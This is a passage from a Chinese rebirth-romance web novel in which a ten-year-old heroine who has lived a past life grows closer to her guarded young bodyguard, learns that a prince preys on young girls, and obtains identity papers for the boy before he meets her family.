改个称呼都不敢。 前世就是这样,明明看着她的眼睛里满是爱意,还一直叫她乔姑娘,叫了好久,若非她主动表白心意,他不知还要隐忍克制到几时。 谢昭凌写字去了,没理她。 耳朵悄悄泛起热意。 乔姝月体力有限,同他一起练了会字便觉得困乏。 经过几日休养,她的低热虽不再反复,但身子还是虚,需要长久地调理,日日都得关在这方寸之地,读书写字。 “若无你陪我,这日子就太枯燥了。” 乔姝月疲惫地趴在桌上,合上眼睛。 她昏昏欲睡,半梦半醒间,隐约察觉到身侧人在收拾东西。 是要离开了?不行,不许走。 乔姝月闭着眼,迷迷糊糊地往旁边一抓,手握上一条瘦弱的手臂。 谢昭凌为了方便写字,袖子微微上卷,她正巧握在他手腕的伤痕上。 他瞬间攥紧了拳,小臂的肌肉绷紧,手背青筋迸发,下意识便作出应激反应,一下抽回自己的手。 咚—— 乔姝月的手抓了空,无力垂了下去,磕在桌上,碰撞之处很快泛起一片红。 她人已经彻底昏睡过去,一无所知。 谢昭凌后背沁出一层冷汗,额角突突跳着。手腕处的伤又在隐隐作痛,他用力闭上眼睛。 还以为他已经不会再对她的碰触作出反抗。 原来只是他的错觉,他还是融不进旁人的世界里。 他注定要孤身一人行在这世间。 所有的美好,他都不该试图沾染。 再无先前的游刃有余,一股脑将自己的东西都揽在怀里,脚步慌乱地离开。 ** 小半个时辰后,乔姝月被胳膊麻醒。 她揉揉眼睛,“阿凌——” 面前忽然出现一张和她一样稚嫩的圆脸。 不是她心心念念的梦中人。 乔姝月打了个哈欠,“……思蓁?你怎么来了?” 陆思蓁似笑非笑,没理会她这一声。 乔姝月眨了下眼睛,“为何这么看我?” 难道她说了什么梦话?把什么秘密讲出来了? 她惊恐地捂住嘴巴。 陆思蓁上下打量,意味深长道:“阿凌是谁啊?” 乔姝月抿了下唇,装作无事把头扭走,“没谁啊。” 陆思蓁道:“我刚来时碰上个人,你猜怎么着,是个生面孔诶。” 乔姝月:“……” “那人好巧不巧,正好从你房里出来。”陆思蓁挑眉道,“更巧的是,是个男的。” 乔姝月支支吾吾:“是男子又如何?我院里又不是没有男人。” 陆思蓁深吸了口气。 “可是李护卫平日里不是缩在草丛就是躲在房上!他何时会随意进出你的闺房?!” “你两个兄长日日在家,我也没有碰上过几回啊。那个男的,我听说他才刚进你院子当差,这就叫我碰上了?” 乔姝月无言以对。 好友说得不错,乔家家规森严,阿娘虽不会强迫着她学习闺阁女子那一套,但也会教导她男女有别,不是为了别的,只为了让她可以保护好自己。 她这屋里哥哥们都很少会来,除非有要紧事,才会待上一会。 像谢昭凌这样被她带在身边的,从未有过。 像谢昭凌这样一直待到天黑的,更从未有过。 或许是少年本身过分冷漠疏离,在人堆里太格格不入,叫这院里的其他人都没把他往“常人”方向想。 世俗的欲望在他身上没有分毫展现,就像院落里的一株草,高山上的一棵树,悄无声息,毫不起眼,因而叫人下意识忽略他会和人真的扯上什么关系。 可乔姝月与他同床共枕过,本就没把他当外人,她一向不遮掩自己的喜恶,好不容易和爱人重逢,她恨不得日日与他相对,哪还顾得上别的。 再说幸亏她现在还小,才能如此随性而为。等再过两年,他们再长大一些,想这么和他共处一室,怕是家里人都不会同意。 “别看你还小,有些……” 陆思蓁说到一半,跑过去关门,她走得急,没注意到有人正巧往这边走来。 哐当—— 门在谢昭凌面前关死。 他在原地站了片刻,转过身,正准备往回走。 “有些禽兽,就喜欢幼童!” 细小的谈话声传了出来,毫无阻碍地落进谢昭凌的耳朵里。 他蓦地停步,脸色微沉,视线落在门板上。 房间内,陆思蓁想起来二皇子选妃那日发生的事,心有余悸。 “光顾着问你的阿凌,险些忘了正事。” “我今日来便是与你说二皇子的事,你还记得先前我同你讲的,我在别人那听了点二皇子的闲话,我说不信,她叫我走着瞧来着?” 没等乔姝月接话,陆思蓁滔滔不绝,可见情绪十分激动。 “那个传言竟是真的!!二皇子竟真是个——”陆思蓁咬着牙,压低声音,“衣冠禽兽!” 即便压低声音,仍瞒不过门外那个耳力过人的人。 谢昭凌眉头慢慢蹙起。 “我算知道为何连你我这样的都在名单里了,他分明就是喜欢这个年岁的!” “他如今都十六了,却净盯着十岁以下的瞧,你说他怪不怪?” 乔姝月垂下眸,轻声道:“这也不算什么,指腹为婚并不少见,还在娘胎里便定了亲,只是十岁……” 陆思蓁急急打断:“那怎么一样啊!哪怕是指腹为婚,也是要等到及笄以后,三书六礼,才能成婚。” “可二皇子他似乎只喜欢未成熟的幼女!我那天观察了,超过十五岁的,他连看都不看!” “怕是未满及笄就要同他圆房,等到过了年岁,又要被他弃之不理,大好的年华,一眼就望到头了。” 这后面是陆思蓁的猜测,但乔姝月却知,她说的都是真的。 乔姝月微微合上眼眸,没再言语。 “怪道那许六姑娘同我说起时,信誓旦旦地跟我说他是禽兽,我看她说得不够,分明就是禽兽不如!” “你……是如何知道如此详细清楚的?”乔姝月心高高提起,“我同你说过的那人,你可见到了?” “你说吏部尚书的孙女,林韵吗?自然是见到了,上回来见你,你不是同我说,进宫那日要和林韵坐在一处?” 上回陆思蓁来乔家,是在乔姝月落水之前,她们还约着转日一起去买首饰,结果当日陆思蓁有事没去,乔姝月才会碰巧遇到柳步亭,才会落水,一病不起。 “虽然不知你为何那般叮嘱,但我知一定有你的用意,那日你不在,我同林家姑娘时时刻刻都在一处,没叫她离开我的视线。” 陆国公府是名门望族,故去的老国公曾是皇帝的老师,而现任国公、陆思蓁的父亲,与皇帝亦是交情匪浅,乔姝月知道二皇子不敢把目光放在陆国公府身上,因此才敢把人托付给她。 乔姝月记得前世被二皇子看中的,就是这吏部尚书家的小孙女。不知宫中如何对林家许诺,只知林韵十岁入宫,一开始养在柳贵妃身边,后来……后来便被二皇子纳为侧妃。 林韵死时,只有十五岁,是在宫中自尽而亡。 陆思蓁不解:“林韵的身子比你还弱,她几乎不出门,也没什么朋友,无缘无故,为何你会想起她来?” 乔姝月没解释,只道:“那日在宫中,二皇子可有中意的?” 陆思蓁嘲讽道:“他有啊,虽然没明说,但我瞧他那眼睛直勾勾地黏在林韵身上,还有什么看不明白的?可我记着你的话,哪能将林韵交给他?我假装不小心把桃浆泼他身上,他就走了。” “后来你母亲那边闹到贵妃娘娘与陛下面前,所有人都过去看热闹,再加上二皇子被我泼后心情不佳,没再露面,选妃这事算不了了之了。” 提起柳步亭,陆思蓁又恨得牙痒痒:“我就说他们柳家的一个两个都是悖逆伦常的无耻之徒!” 乔姝月周身放松下来,掌心的痛感这才传来,她低下头,手掌中被指甲掐出了好几道印子。 她叹道:“这次躲过去,还有下一次,二皇子总要成婚。” 哪怕她们长大些,二皇子没了兴趣,也还会有新长起来的小姑娘们。唯有将那祸害彻底根除,才能让京中的女孩子们免除伤害。 陆思蓁离开后,乔姝月托着腮沉思。 门口忽然传来玉竹的声音:“谢护卫?你有事吗?” 乔姝月眼前一亮,手撑着桌子,身子往外探,扬声道:“谢昭凌?快进来!” 谢昭凌去而复返,是发觉仓惶落跑时,无意间将属于她的东西一同带了回去。 他进门不敢多看,将手中那一册《论语》双手奉上。 交完书,转身又要走。 衣裳下摆再度传来熟悉的感觉。 乔姝月疑惑:“你怎么了?为何要躲着我?” 她看出来了。 谢昭凌垂下眸,没吭声。 他摸上手腕间的伤痕,脑子愈发清醒。他不属于这里,更不该生出贪恋的念头。 还清欠款,他就得离开。 他生于泥沼,注定去厮杀,注定去拼搏,若是不去燃烧生命拼出一个未来,那么他最后会如同一株不经浇灌又晒不到阳光的野草,慢慢地枯萎。 他一旦停下来,就会发现他再也找不到活下去的意义。一旦任由这个念头驰骋,迎接他的只有死路一条。 那他千难万难才逃出来的意义又在哪儿呢?还不如当初就让巫医将他的血放干,让他死在那个祭坛上。 可他不甘心。 安于一隅,于他而言,只会加速他的枯萎。 乔家终究不是他的安身之处,也不该久留。 只是睡了一觉的功夫,乔姝月不明白为什么谢昭凌对她的态度仿佛又回到从前。 他这些天明明已经在亲近她了。 乔姝月心里有些失落,只是她现在没有多余的心思去计较二人之间的关系,还有更重要的事等着她去解决。 “我有事想请你帮忙,”乔姝月双手都拉住谢昭凌的衣角,轻轻扯了扯,“你会帮我的对吗,阿凌哥哥?” 少年瞳孔微微颤抖。 摸着手腕的手指险些将伤疤抠破。 他只觉得被她一声“哥哥”叫得,浑身发僵,四肢麻木,血液沸腾,才刚认清现状的清醒的脑子顿时什么念头都没了。 什么厮杀、什么拼搏,全都没了。 反复回响在脑海里的,只剩下“哥哥”二字。 哥哥,哥哥,叫得人头疼。 “莫要……”谢昭凌目光躲闪,艰难开口,“莫要唤我……” “哎呀!你肯定很想知道有何事要托付你对不对?!” 乔姝月个子矮小,即便是蹦起来也很难去捂住他的嘴,只能加大音量打断他不中听的话。 少年无奈地望着她。 小姑娘恶狠狠地威胁:“对不对?快说对!” 谢昭凌微不可查弯了下唇角,“……对。” 他很难得会笑,乔姝月一时看呆。等他反应过来,很快把笑容收回。 她微红了脸,搓着自己的手指,支支吾吾:“哎呀,真是的……” 幸好她定力高,对着这张稚嫩的面孔尚能克制自己。 “何事?” 乔姝月正了神色,看着他的眼睛,“柳步亭绝不会善罢甘休。” 一句话便叫谢昭凌面色沉下去。 “他以捉弄人为乐,以训诫之名,行霸凌之事。”乔姝月坦诚道,“扔虫子,推我下水,这都是极平常的手段。” 远不如前世残忍,花样百出。 乔姝月有条有理,思路清晰,同他毫无保留地说道: “他来乔府探望,说是关切,来探病,实则只是要证实我能否入宫。” “因我那日落了他的面子,所以他要惩罚我,只不过后面被你化解。”乔姝月脸颊微红,“还要谢谢你为我解围。” “柳步亭先是被我忽视,而后惩戒不成,又在河边恼羞成怒。”乔姝月冷静地思考,“即便他的动机已然十分明确,就是要报复我,但我仍然认为,他推我入河,不单单是要报复。当时是已临近入宫赴宴的日子,他是本着让我生病的打算,让我一病不起。” 前世她因端午落水以致数日高烧,一心一意在家中养身体,没有在河边那一遭,按原计划赴了宫中的宴席。只不过那日柳步亭一直纠缠她,没给二皇子盯上她的机会。 谢昭凌低声喃喃,“他不想让你入宫?” “嗯,他当我是他的玩物,不希望有人觊觎。” 二皇子所好之人,她恰巧也符合。 “玩物”二字从她口中毫无障碍地说出,叫谢昭凌蓦地皱起眉,心底有说不出的烦闷,他攥紧拳,“人如何能做玩物。” 就算旁人能,小菩萨也不能。 “柳家已经让他低调行事,可他依旧找我的麻烦,就说明他很不希望我出现在二皇子面前。” “哦,二皇子他……” “方才你与友人的交谈,我都听到了。”谢昭凌道,“我并非有意偷听,实在是……我的耳力还可以。” 原本他该走开,只是她们所说之事,叫他颇为在意。 谢昭凌说不清自己为何心情忐忑,怕她误会自己是爱偷听墙角之人。 乔姝月却笑道:“无妨,听就听去了。” “柳家人的确各个非善类。” 她目光越过窗子向外,看向布满朝霞的天空。 前世败在柳家之手,今生她定要好好守护家人。 谢昭凌沉默良久,后退半步,冲她弯身,低下了头颅。 “我如今的生活是你给的,你所托之事,我会尽力而为。” 乔姝月愣了下,好奇:“我还未曾说是何事。” 谢昭凌茫然抬头,“不是保护你吗?” 乔姝月歪着脑袋,“……保护我?” 谢昭凌道:“护卫之职,理应如此。” 他虽不懂太多道理,但在其位就该谋其事,更何况他欠着她,为她做什么都应该。 乔姝月噗嗤一笑,“我养着病,又不能出门,哪里需要你保护啊?这院子里最大的危险就是树上和草里的虫,有李护卫盯着抓呢,用不着你。” “那你……” “我说的,是我二哥。”她轻声道。 谢昭凌蓦地哑声,眼底闪过一丝不情愿。 他为何要去管旁人?旁人的生死与他何干? 乔姝月笑意更浓,就知道是这样,他的性子她这两日算是摸清,少年时期的陛下堪称一匹孤狼,独来独往,没有人能走进他的心里。 现如今,离他最近的便是她了。 而她好不容易焐热了一点的心,刚刚不知为何,又起了疏离之意。 小姑娘沮丧一瞬,很快又振奋精神。 “二哥要为我报仇,可他通常行事冲动,不计后果,会轻易踏入旁人的陷阱,万劫不复。” “四哥心思缜密,但他似乎也没将我的忠告放在心上。” 乔姝月望着自己的短手短腿,惆怅地叹了口气。 毕竟她只有十岁,说出的话在谁心里都没几分重量,只当她年少无知,随口一言。 “你不同,你对危险感知敏锐,聪慧机敏,最重要的是——” 谢昭凌从未听过这么多夸赞的话。 他只觉得头脑发昏,嘴唇干涩,他嗓音发哑,没察觉到自己竟有几分期待接下来的话:“……是什么?” 小姑娘笑意盈盈:“你最听我的话。” 在谢昭凌的眼中,小菩萨周身仿佛镀上了一层佛光。 谢昭凌按捺不住想要逃避的本能,狼狈地避开她的注视,语气苍白:“听话是因为……” “因为我是你的主子嘛。”她理所当然道,“对吗?” “……嗯。” “因为你欠我银子,可对?” 谢昭凌手指颤了下,微微垂下眼睛。 她都知道的,什么都知道,她似乎能看透他心里在想什么。 这种感觉太奇怪了,从未有过。被人看透内心,应该会很排斥才对,可他似乎没有…… “这便够了啊。”乔姝月笑道,“我喜欢听话的人。” “喜欢”是个陌生的词语。 如一口铜钟在谢昭凌心头敲响,震得人头骨发麻。 她像太阳一样热烈。 指引着他逃出村子的那轮太阳。 会将人的灵魂都灼伤的烈日。 让一个久在深渊、不见天日的人,害怕靠近,又忍不住竭力追赶。 谢昭凌看向女孩,再一次为她的敏锐与聪慧所折服。她一点不像她两个哥哥,老二没什么脑子,老四又城府深沉,她却热烈坦荡,勇敢坚强。 “禁足期快要过了。” 乔姝月点到为止。 谢昭凌挣扎良久,终于点了下头。他悄悄活动了一下腿,计划着等能出门,便去帮她打探消息。 只是他才一动,小姑娘的眼睛就看了过来。 她警告道:“要时刻记着不可冒险,不可用你的轻功,走路要拄着拐杖慢慢地走。打听事是靠嘴巴,不是靠你的伤腿。” 谢昭凌:“……” 他没忍住笑了笑,没再言语。 说了会正事,小姑娘又泛起困来,迷迷糊糊地,张大嘴巴,打了个哈欠。 少年不自觉温和了眉眼。 他冲她行礼,转身要走,忽然想起陆思蓁离去时说过的话—— “李护卫没事可不会进屋,再同我说说你那位阿凌?” 谢昭凌耳朵一下就热了。 他是她的没错,花了五十两买下的他是事实,但这话听起来叫人误会。 “他可不一样。” 她当时是这般回答的,而后便将好友驱赶走。 他……不一样吗? 和在外头遇到的被霸凌的小童、和她幼时救过的小猫小狗、和乔家下人们口中的那些被她救过的人,都不一样吗? 他哪里特殊?又何以得到与众不同的善待?他一直想不通,她为何会救下他。 他们明明素昧平生。 ——“月儿救下你是心善,她慈悲心肠,见不得欺凌弱小。” 那他应当与那些人并无不同才对,可她待他又实实在在地特殊到极致。 这些问题自打乔四公子头次警告时便扎根于心底,随着时间推移,随着周围的人不断提起,根埋入得愈发深,他也从最开始的漠不关心,到忽视不得。 行至屏风旁,谢昭凌没忍住转头: “你究竟为何要带我回来?” 第28章 【28】 谢昭凌从前问过许多为什么: 为什么要放他的血,为什么要听巫医的话。 为什么非要将他抓回来,别人不行吗? 为什么出身低微的人就要受人欺凌,任打任骂都不能还手。 后来他发现,这就是弱肉强食的世界,弱者没有资格提问。 那之后他便再不问了,他选择摒弃掉所有的思考,随心而为,不去深究其中缘由。 他已经许久没有思考过发生在自己身上的事。 他没想过自己进了悦泉楼后,那些人为什么会对自己抱有恶意,明明只是初见。 也没想过为什么悦泉楼的东家,那个叫郑丰南的男人,他会对自己发出邀请。 更没想过乔姝月会出现在他的生命里。 今日这一问出口,他便后悔了。 于是他又一次选择了逃避。 等乔姝月反应过来时,眼前已经没了人影。 乔姝月:“……” 她怔怔望着空荡荡的门口,半晌,捂着唇偷偷笑起来。 挺好,他开始思索这些问题,就代表自己已经在他心中留下了很深的印记。 他不再像最初进乔府时那般,对所有事都漠不关心,也无所谓别人待他如何。 他开始在意被救的原因,说明他心底对答案开始有所期待。 “真不容易啊。” 乔姝月双手托着腮,心情极佳地哼着曲子。她翻开着桌上的论语,心里想的却是谢昭凌。 “对了刘妈妈,你去和谢护卫说,”乔姝月从口袋里翻出一张契约,“让他得空来我这一趟,得快些把这卖身契签了。” 她没办法凭空变出一张照身贴来,只能先委屈他签这个了。 趁着养病,趁着禁足,赶紧解决他的身份问题。 等待天色全暗下来,紫棉和玉竹各拎着一筐瓜果进门。 玉竹在门口喊了声:“姑娘,少夫人来看你了!” 乔姝月赶忙起身迎接。 她手忙脚乱,刚把鞋子穿好,陆氏便走了进来。 对于这位大嫂,乔姝月敬重有加。 前世父亲与大哥接连入狱后,是大嫂站了出来,如一根坚不可摧的石柱,撑起整个乔家。乔姝月见过阿娘脆弱的时候,却没见过大嫂流露过丝毫的软弱。 可她明明外表看上去那样温柔文弱。 “听说阿蓁今日来过?” 陆氏一边说着,一边按住小姑娘的肩膀,笑着示意她不必多礼。 自己人确实不必讲究那么多虚礼,乔姝月坐回去,冲陆氏笑,“嗯,思蓁来和我讲那日进宫的事。” 陆氏笑容淡了下去,不赞同道:“此事我与母亲未与你提,就是怕你劳心伤神。” 陆氏与陆思蓁是一母同胞的亲姐妹,同是陆国公府的姑娘,性子却天差地别,一个稳重温柔,一个活泼跳脱。 “你受了欺负,理应由我们这些做长辈的替你讨回公道,个中详情你不必知晓。” 乔姝月又问:“阿娘最近在忙什么?” 已经有许多日不来看望她了。 陆氏口风很严,只是道:“这几日上门的拜帖很多,还有请母亲赴宴的请帖,她正忙着应付各家夫人。” 乔姝月故作懵懂,问道:“都有谁呀?阿娘何时多了那么多朋友?” 其实她心里清楚,这是太子复起的消息传了出去,乔家那一状告到御前,算是正式与柳家撕破了脸,所以那些摇摆不定、不知如何战队的大臣们便让自家夫人探探虚实。 乔姝月想知道这些世家的名单。 陆氏却不再提,“那都是大人们的事,你这两月一直病着,再不好起来,就要落下病根了。” 乔姝月抿着唇笑了笑,她知道陆氏是将自己当小孩子对待,怕她惊惧忧心,是一番好意。可惜乔姝月并非十岁的自己,她经历过最后的结局,所以若能提前知道更多的事,便是最好不过。 陆氏的一番话,也证明自己想要从她这里获知消息是行不通的。 乔姝月有些失望,不过并不灰心。 毕竟她还有谢昭凌会帮她。她的陛下,无所不能。 想起心上人,小姑娘流露出好看的笑容,“嫂嫂不必怪思蓁,她也是同我说些趣事,免得我烦闷无聊。” 陆氏有一颗玲珑心,她很早便能从自家夫君那里,仅靠着蛛丝马迹就察觉到朝局动荡,也能从小妹的一颦一笑中,品出些旁人看不出的,不一样的东西来。 陆氏先是笑着颔首,“你们年纪相仿,又要好,自然有什么交心话都愿意和彼此说。” 而后她拿起茶盅,抿了一口,状似无意说道:“今日怎么没见到谢护卫?” 乔姝月眨了下眼睛,谨慎道:“他不是在禁足吗?见不到才对吧。” 陆氏笑了笑,“瞧我都忙忘了,他前几日违抗母亲的命令,竟然还跑到你四哥的院里去。难不成木兰院还不如四公子那儿吗?” 乔姝月并紧双腿,手规规矩矩放在膝上,用力点头,“是啊是啊,他跑出去我都不知,胆子太大了。” 陆氏盯着她不语,只是笑。 乔姝月皱了皱眉,又道:“不过他胆子若不大,也不会在明知有伤的情况下,拼死去救我了。” 陆氏笑意微凝。 “阿娘或许就是看在他同旁人不一样的份上,才特许他来我身边保护我吧。” 陆氏久久沉默,再开口时,没了笑容,喃喃道:“他和旁人不同……” 乔姝月歪了下头,无辜地笑着,“是啊,他当然不同,他是我院里唯一会水的护卫。若他腿伤养好,就是咱们家轻功最厉害的护卫。他没读过书,但靠着被阿娘罚抄,已然能将弟子规背下来了,字也认得差不多,足以证明他聪慧过人,他的天赋甚至比大哥三哥都要强。” 一通大夸特夸后,乔姝月收敛了神色,一双水灵的黑瞳中尽是认真。 “即便他不太喜欢被规矩压着,人也的确不是很规矩,但那都无关紧要。” “因为我会是他认定的第一个、也是唯一一个主人,他会听我的。” 就算是被人知道他进了她的房,那也是她默许的,因为他强,因为他足够有安全感,他独一无二,不可替代。 所以都别想再针对他,也别想从她身边把人夺走。有事也冲着她来,莫要再欺负他。 她能听出大嫂的试探,或许大嫂听到了什么风言风语,知道她对谢昭凌特别照顾,所以前来打听。 旁敲侧击也好,警告暗示也罢,乔姝月亮明自己的态度。 谢昭凌是她的人,她会对他负责到底。 就算是父亲母亲来问责,乔姝月也会挡在他的前面。是她非要将人带回来的,那么一切责罚也该她来承担。 陆氏道:“你如何能保证,他就会只认你这一个主子?” 乔姝月半开玩笑道:“那自然靠手段啦,若连一个家仆都收不成,出嫁以后又如何管理一大家子呢?” 陆氏半信半疑地看着她,似是在怀疑,她一个闺阁小丫头能有什么手段。 那少年周身布满伤痕,瞧着便野性难驯,不是个好惹的主。 那日在乔母院里,他看向人的视线始终充满戒备与警惕,仿佛一旦察觉到危机,便要扑上来撕扯掉人的血肉。 他那样的人,如何肯在小妹手里老实安分? “就算你想重用他,也不该如此护着,不患寡而患不均,他初来乍到,若太亲厚,底下的人恐会不甘。” “我待他好,那他自然也会做出旁人做不到的事来,若他的本领无人能及,嫂嫂认为,旁人还会心生嫉妒吗?” 若他的本事能大到将天捅破,那么摆在他们面前的危机都将不再是危机。 陆氏思忖良久,直到茶凉,她才起身,叹了声:“瞧你也不是什么都不懂的样子。” 小妹变了,大病以后,变得令人陌生。 她以前也护短,但从不会像现在这样,只流露出一点苗头,她便扑腾地张开翅膀,拼命护在人身前。 陆氏有些恍惚,隐约看到自己面前的小姑娘长大后的模样。 她深思熟虑良久,最终认同了她的说辞。从怀中掏出一样东西,放到桌上。 “这是老四请求我去办的东西,你拿去给谢护卫吧。” 又说了句:“你自己心里有数就好,嫂嫂不会多事。” 便离开了。 人走后,玉竹和紫棉都凑了过来。 乔姝月将信封打开。 玉竹惊呼出声:“是照身贴!!” 照身贴相当于一件身份证明,证明此人背景干净,有了它,就不再算来路不明。 紫棉思忖片刻,道出关键:“谢护卫现在算自由身。” 玉竹激动道:“对!是照身贴,不是身契!” 抛开乔家家规不谈,按照本朝律法,收留没有身份证明的人本就有罪。 谢昭凌没有照身贴,更没有卖身契,一旦被发现,必会被扭送官府,乔家也会被牵连。 乔姝月已经写好了一份卖身契,只等签字画押。 没想到乔誉一声不响地,把这事办了。 “可是四公子不是很讨厌谢护卫吗?” 乔姝月的心砰砰乱跳,把照身贴放在胸口,“紫棉,研磨。” ** 乔誉傍晚归来,俞升小跑着迎上来,手里举着一张纸。 “公子,刚刚月姑娘派人送了封信来。” 乔誉:? 两个院子没多远,有事派下人递个话就行。需要写信? 乔誉满脸狐疑,如临大敌,盯着那雪白的纸。 他实在被这小丫头给弄怕了。 自从她遇到那个姓谢的小子,就没有一日消停。 半晌,他才慢慢接过,走进屋中。 俞升关上门,掌上灯,凑了过来,“公子,写的什么啊?” 乔誉心里做足准备,打开了信。 内容没有很长,只有信纸的一半。 小姑娘的字十分好看秀气,开头第一句话是—— “四哥哥,你真好。” 俞升浑身打了个哆嗦,“四……哥哥?” 从乔姝月记事以来,她就没有叠字叫过几位兄长。 因为她小时候说话不利索,喊哥哥咬破舌头,流了血。 后来几个哥哥花了许多功夫,才将她爱喊叠字的毛病给改了过来。所以她至少有八九年,没有喊过他“哥哥”。 “公子,你看这——” 俞升话说到一半,扭头看向自家公子。 只见乔誉面无表情,盯着那一行字反复地瞧。 眼睛从上移到下,又回到上边,再次看了一遍。 他没什么表情,俞升看不出他心情如何。 看得时间过长,俞升以为后面以为有何玄机,又往下看去。 结果后面全是赞美之词,洋洋洒洒,诉说了倾慕与感谢之意。辞藻华丽,有好多字俞升都不认识。 俞升看得两眼转圈,脑壳生疼,甩了甩头,转身往外走。 走到门口,忽然听到乔誉动了。他回头,只见乔誉小心翼翼地将信叠成方形,妥善地夹进了他最喜欢的一本书里。 他如石像一般,又静默伫立半晌,叹了口气。 他抬手捂住额头,无奈地低声笑了起来。 ** 陆氏那日的试探,到底叫乔姝月上了心。 现在阿娘忙着,没工夫理她,所以她的种种出格行为没能被阿娘注意。大嫂那番问话,多少给她提了醒。当前时候,还是低调一些为好。即便谢昭凌如今有了身份,也并不保险。 所以在转日清晨,没有见到谢昭凌出现时,乔姝月也没有差人去寻。 她想着少见一天也没什么,结果等到第二日,谢昭凌还是没来。 乔姝月憋不住了,叫住刘妈妈:“他两日没出门吗?” 刘妈妈笑道:“是啊,姑娘放心,饭食都由李护卫送进房里了,没饿着他。” 乔姝月:“……” 她担心的哪是这个啊。 乔姝月哦了声,慢吞吞爬上床,缩回被子里。 她瞪着两只眼睛,怔怔望着房顶。 ——“你究竟为何要带我回来?” 脑海中回响起最后一面的最后一句话。 总不至于是因为这个问题,他才躲着她吧? 难不成问完以后害羞到不敢见人吗?可那是他自己问的啊。 那日之后又过去两日,到了解禁的日子。 罚期已过,谢昭凌该去主院拜见褚氏。一早,刘妈妈便将人叫了出来。 四日不见天日,对他而言也是习惯了的事,并不觉得难熬。 他拿着抄默的书册与纸张,慢慢走出房门。才刚踏出门槛,脚步便是一顿。 小姑娘裹得严严实实,梳着可爱的少女发髻,正笑意盈盈地站在门口等他。 谢昭凌下意识把脚缩了回去,有些局促,“……月姑娘。” 院里有旁人在看,小姑娘咳嗽了一声,一本正经:“谢护卫,我也要去向母亲请安,正巧顺路,你便护送我过去吧。” 嘴上说得冠冕堂皇,望着他的眼睛弯成月牙,冲他挤眉弄眼。 谢昭凌:“……是。” 两人一前一后,一路无言。 到了主院,乔姝月敏锐地察觉到气氛凝重。 院子被清了场,正房附近一个人都没有。 她脚步停下,从远处叫来一个洒扫的丫鬟,“有客来吗?” 丫鬟摇头,只道:“老爷在。” 不敢多说,福了福身就走了。 提起乔父,乔姝月心中忐忑不已。 “说起来,你还未见过我父亲?” 她转过身,看向身后的少年。 谢昭凌微微颔首。 “这个给你。” 乔姝月从怀里取出照身贴,原本还打算以此为借口,把他骗来自己房里,现在怕是不能再等了。 谢昭凌没看清是什么,那东西便被她掖进怀里。 他仍旧不太习惯与人这般亲近,只是因为是乔姝月,所以才没做出过激的反应。 好在乔姝月很快便退回去,他暗暗松了口气。 两人走到门口,便听到房中的交谈声—— “京兆府推脱不管,把烫手山芋扔给刑部,刑部又借口说年初因雪灾封路,致使多地需送往京城的案子延后,都堆在这个月到了刑部等待复核,刑部繁忙,京兆府胆小,眼下三司中便只剩了个大理寺。” “父亲放心,大理寺必竭尽全力。” “慎之,不是为父忧心大理寺的办事能力,而是……唉。” 慎之是大哥乔叙的字。 “大理寺卿位空悬已久,李少卿又出身寒门,大理寺身为三法司之一,说的好听,实则它在朝堂之上究竟有无发声的能力,那声音又能传多远,你我皆知。” “……” “仅一个月便生三起命案。”乔父顿了顿,痛心疾首,“背后之人视法度为无物,长此以往,国将不国。” 乔姝月神情凝重,尤其后面在听到父兄二人提到“悦泉楼”这一地方时,面色微微发白,眼睫不安地颤抖,贝齿紧咬住下唇。 谢昭凌不由得将目光落在她身上,目不转睛地看着她每一个表情变化。 里头的谈话还在继续—— 大哥道:“……这案子现在落在大理寺手中,会着手从悦泉楼查起,父亲放心,必将凶犯绳之以法。” 话题告一段落,乔姝月轻轻敲门。 妙荷打开房门,见到乔姝月时,面露出微笑,“姑娘来啦,里面请。” 又见到她身后的少年,笑容顿时消散,转身时悄悄翻了个白眼。 屋中乔父乔母和大哥大嫂都在,人人脸上的神色都不算轻松。见到姝月来,气氛这才松快不少。 乔父端坐在主位上,他为御史,平日在朝堂上靠着一张嘴同百官吵架,气势上不怒自威。面对唯一的女儿,他也不见有多温和。 “听说你院里进了新人,”乔父打量起少年,带着显而易见的挑剔,“可走得是正规流程?可签身契了?” 乔姝月支支吾吾,似是惧怕与父亲交谈,低下了头。 “查过照身贴的。”儿媳陆氏笑着替她解围,“他是老四从吴大夫医馆里带回来的,这少年身上的病症太多,父亲您知道的,吴大夫是医痴。” 提及此,褚氏冷哼了声,“那日还连累我挨训。” “老四从外面带回来的?他没有说过。”乔父皱眉,又道:“怎么又到你院里了?” 果然有乔誉掺和进来,乔父也和褚氏一样,不再过多计较,显然对乔誉的品行十分信任。 褚氏这才将来龙去脉同乔父讲。 乔父吃惊地看过去,挑剔之色淡去,多了两分感谢,“我还以为是李护卫救了你。” “老爷忙于朝政,这些琐事便没同你说。”褚氏叹道,“他不太听话,这几日被我禁足罚抄,今日应当是过了解禁期,来交差的。” “他很听话的。” 乔姝月不敢大声嚷嚷,只能小声嘀咕。只有谢昭凌听到,他没忍住弯了下唇。 妙荷从少年手中接过一沓厚厚的纸,背对着众人,又悄悄瞪了少年一眼,她手腕上的淤青现在还没消,难看得很,想想就来气。 抄写的内容交到乔父手中,乔父只看了一眼便嫌弃地扔到大儿子手里,这写得什么玩意。 乔姝月替心上人不平:“父亲,他没读过书,是不认字的。” 这下众人皆诧异地看向少年。 原本看少年出色的长相,褚氏以为他是家道中落,不得已流落乡野,自小混迹于三教九流的落魄小少爷。 尤其是打扮完以后,这个认知愈发深刻。 却没想到他不识字,压根不是在富户中养过的。 有了照身贴,褚氏倒不疑心他出身贱籍,只是也会好奇他家中情况。 “你原先家中是做什么营生的?” 乔姝月蓦地扭头,紧张地攥紧帕子。 谢昭凌垂着头,面色如常,语气平淡:“寻常农户,只是他们早早过世,我是一个人长大的。” 孤儿,那难怪了。 褚氏暗叹了声。 大哥乔叙看过以后,目露赞赏,“不曾进学堂,那写得尚可。字虽不算好看,但练字一事本就需要经年累日地练习才行,这真是你第一次写吗?” 乔姝月嘴快,答道:“大哥,他原本连握笔都不会呢!” 褚氏与乔父对视一眼,“是个好苗子。” 乔父来了兴致,从少年所抄之句中挑了几句问,没想到少年对答如流,甚至连一些释义都解释得很标准。 这下连乔姝月都震惊地瞪圆了眼睛。 她只是在他抄写时随口说着每句的释义,他抄书,不仅记下字怎么写,背下来每句话,怎么还连她的话也都记到脑子里了? 而且她只随口说过一遍,他怎么就全记住了?! 她的陛下是吃什么长大的,脑子这样好使。 乔父连说了几声好,“只数日便有如此成绩,若是好好学,还不知能登到哪一步。” 乔父尚有公务,没多留,他给褚氏一个眼神,褚氏了然。 人都走了,只剩乔姝月和谢昭凌。 